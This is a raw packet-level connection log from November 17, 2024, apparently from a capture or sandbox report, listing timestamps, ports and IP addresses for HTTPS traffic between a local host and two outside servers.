Nov 17, 2024 12:35:56.076508045 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.076797009 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.076843023 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.077089071 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.077106953 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.077126980 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.077487946 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.077495098 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.077598095 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.077615023 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.083667994 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.083853006 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.083940029 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.084060907 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.084060907 CET	50053	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.084091902 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.084103107 CET	443	50053	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.085886002 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.085897923 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.085949898 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.086040020 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.086046934 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.205960035 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.206051111 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.206402063 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.214688063 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.214701891 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.214725971 CET	50054	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.214731932 CET	443	50054	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.226011992 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.226059914 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.226135015 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.226315022 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.226334095 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.450968981 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.458395958 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.458409071 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.460714102 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.460724115 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.582988977 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.583491087 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.583529949 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.583945036 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.583961964 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.588078022 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.588103056 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.588150978 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.588264942 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.588349104 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.588349104 CET	50055	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.588365078 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.588375092 CET	443	50055	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.590967894 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.591008902 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.591088057 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.591238022 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.591253042 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.714672089 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.714843988 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.714979887 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.715033054 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.715034008 CET	50056	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.715064049 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.715090990 CET	443	50056	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.717699051 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.717786074 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.717876911 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.718034029 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.718040943 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.797621965 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:56.797677040 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:56.797862053 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:56.798190117 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:56.798219919 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:56.821631908 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.822096109 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.822125912 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.822527885 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.822534084 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.825139999 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.825413942 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.825431108 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.825737000 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.825747013 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.954233885 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.954278946 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.954322100 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.954355001 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.954400063 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.954715967 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.954741955 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.954756021 CET	50057	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.954763889 CET	443	50057	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.957097054 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.957772017 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.957804918 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.957879066 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.958039045 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.958060026 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.958097935 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.958168030 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.958211899 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.958211899 CET	50058	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.958233118 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.958260059 CET	443	50058	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.961272955 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.961308002 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.961405039 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.961515903 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.961535931 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.965503931 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.966775894 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.966789007 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:56.967226982 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:56.967231989 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.096097946 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.096138954 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.096189976 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.096201897 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.096224070 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.096263885 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.096359968 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.096373081 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.096395016 CET	50059	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.096400976 CET	443	50059	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.099440098 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.099462032 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.099524021 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.100147963 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.100161076 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.322566986 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.323307991 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.323337078 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.323944092 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.323950052 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.455454111 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.455528975 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.455619097 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.455822945 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.455841064 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.455852032 CET	50060	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.455857038 CET	443	50060	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.458965063 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.459001064 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.459094048 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.459233046 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.459247112 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.479703903 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.480237007 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.480254889 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.480700016 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.480705976 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.691540956 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.696541071 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.696574926 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.697690964 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.697695971 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.697871923 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.698376894 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.698422909 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.699095011 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.699110985 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.721829891 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.721901894 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.721956968 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.722121954 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.722138882 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.722153902 CET	50061	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.722161055 CET	443	50061	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.729109049 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.729142904 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.729221106 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.729546070 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.729564905 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.825617075 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.825673103 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.825725079 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.825862885 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.825880051 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.825895071 CET	50064	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.825900078 CET	443	50064	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.828646898 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.828708887 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.828769922 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.828797102 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.828835011 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.828887939 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.828958988 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.828990936 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.828995943 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.829020023 CET	50065	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.829034090 CET	443	50065	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.829080105 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.829148054 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.829404116 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.829438925 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.831552982 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.831587076 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:57.831669092 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.831815004 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:57.831830025 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.210304022 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.213151932 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.213184118 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.213490009 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.213500023 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.215361118 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.217175007 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.217211962 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.217734098 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.217740059 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.341895103 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.341957092 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.342216015 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.342259884 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.342259884 CET	50067	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.342287064 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.342314959 CET	443	50067	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.343852997 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.343935013 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.344005108 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.344151974 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.344172001 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.344189882 CET	50066	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.344197035 CET	443	50066	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.347549915 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.347588062 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.347676992 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.348114967 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.348129034 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.348484039 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.348511934 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.348953009 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.349184036 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.349195957 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.465881109 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.470360041 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.470395088 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.470868111 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.470877886 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.558727026 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.559221029 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.559242964 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.559828043 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.559834003 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.564107895 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.564527988 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.564593077 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.564950943 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.564974070 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.594810963 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.594840050 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.594901085 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.594913006 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.594940901 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.594993114 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.595104933 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.595120907 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.595134974 CET	50068	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.595141888 CET	443	50068	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.597902060 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.597940922 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.598181963 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.598381042 CET	50074	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.598396063 CET	443	50074	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.686315060 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.686337948 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.686469078 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.686496019 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.686556101 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.686614990 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.686721087 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.686738968 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.686752081 CET	50070	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.686759949 CET	443	50070	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.690061092 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.690092087 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.690159082 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.690340996 CET	50075	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.690354109 CET	443	50075	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.691586971 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.692141056 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.692220926 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.692377090 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.692377090 CET	50069	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.692398071 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.692411900 CET	443	50069	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.694519043 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.694561958 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.694623947 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.694765091 CET	50076	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:58.694782972 CET	443	50076	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:58.893095970 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:58.893239975 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:58.895353079 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:58.895381927 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:58.895667076 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:58.911134958 CET	50062	443	192.168.2.6	4.175.87.197
Nov 17, 2024 12:35:58.951328993 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.083074093 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.083575964 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.083590031 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.083904982 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.084173918 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.084177971 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.085372925 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.085372925 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.085390091 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.085398912 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.212826014 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.212851048 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.212909937 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.212934017 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.212994099 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.213283062 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.213299036 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.213313103 CET	50072	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.213320017 CET	443	50072	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.214651108 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.214673042 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.214967966 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.215038061 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.215038061 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.215336084 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.215336084 CET	50073	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.215348959 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.215353012 CET	443	50073	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.217842102 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.217871904 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.217937946 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.218177080 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.218200922 CET	50077	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.218214989 CET	443	50077	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.218221903 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.218342066 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.218430042 CET	50078	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:59.218450069 CET	443	50078	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:59.284655094 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.284727097 CET	443	50062	4.175.87.197	192.168.2.6
Nov 17, 2024 12:35:59.284796953 CET	443	50062	4.175.87.197	192.168.2.6
